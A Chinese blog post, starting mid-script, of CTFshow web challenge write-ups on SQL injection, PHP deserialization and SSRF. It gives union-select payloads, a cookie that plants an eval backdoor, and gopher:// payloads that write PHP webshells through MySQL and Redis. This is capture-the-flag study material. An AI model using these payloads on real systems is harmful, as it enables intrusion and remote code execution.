if j == '}':
exit()
break
else:
continue
web186
解法同上
web187
查询语句
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
具体解释就是ffifdyop在md5之后的值是276f722736c95d99e921722cf9ed621c,⽽这串进⾏
hex之后'or'6É].é!r,ùíb.
在mysql⾥⾯,在⽤作布尔型判断时,以数字开头的字符串会被当做整型数。
payload:
username=admin
password=ffifdyop
提交后查看响应即可
web188
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web189
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web190
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web191
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web192
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web193
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web194
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web195
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web196
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web197
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
CTF SHOW Web入门反序列化
web254
payload:
?username=xxxxxx&password=xxxxxx
web255
简单的反序列化
?username=xxxxxx&password=xxxxxx
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
解法
__construct()初始化类时触发 不影响反列化
__destruct()销毁对象和引用完对象触发(实例化对象结束后,反序列化结束后)
代码
<?php
class ctfShowUser
{
public $class = 'info';#new baclDoor();
#这里原本是private属性代表私有属性,不能随便赋值,改为公有属性进行复制后加上私有属性后发送
#私有属性标志,%00类名%00属性变量名
}
class backDoor
{
public $code;
}
$a = new ctfShowUser();
$b = new backDoor();
$a->class = $b;
$b->code = 'eval($_POST[cmd]);';
echo serialize($a);#输出序列化后的序列
#echo urlencode(urldecode('O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:18:"eval($_POST[cmd]);";}}'));
//输出补上私有属性的标签,并解码%00后,在进行url编码,避免%00被二次编码
payload:
目的将ctfShowUses->class指向eval所在的类,反序列化结束后触发__destruct()
?username=1&password=1
Cookie:
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22eval%28%24_POST%5Bcmd%5D%29%3B%22%3B%7D%7D
POST:
cmd=system('tac *');
CTF SHOW入门 SSRF
web351
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
payload:
payload发送后右键源代码即可
POST
url=file:///var/www/html/flag.php
web352
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
payload:
127开头的都是回环地址,上面preg_match没有过滤的变量,用127.0.0.1也行
POST
url=http://127.1.1.1/flag.php
web354
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
解法:
payload:
域名解析绕过,用一个解析到127.0.0.1的域名即可
POST
url=http://sudo.cc/flag.php
web355
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
linux中0和127.1都指向127.0.0.1,如下
payload:
POST
url=http://0/flag.php
或
url=http://127.1/flag.php
web357
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
通过302重定向127.0.0.1/flag.php即可绕过
在一个服务器上搭建web服务内容如下
<?php header("Location: http://127.0.0.1/flag.php", true, 302);?>
payload:
POST
url=服务器地址
web358
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
payload:
POST
url=http://ctf.@127.0.0.1/flag.php#show
web359
打开页面如下
点击登录后再打开hackber,发现存在url请求,如下
通过gopher://进行端口探测,发现3306端口返回时间较慢,证明3306端口存在服务
通过gopherus工具构造payload来执行sql语句写入一句话木马,前提mysql不需要密码
工具下载地址:https://github.com/tarunkant/Gopherus
对生成的payload进行url编码后进行传输
payload:
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2549%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%2563%2563%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501
然后通过蚁剑连接即可
web360
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
端口扫描,80,9000,6379,3306开启,题目提示redis,所以要利用6379
通过gopherus工具生成redis后门payload
payload:
POST
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E1%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://guofun.top/ctf/43/
共有 0 条评论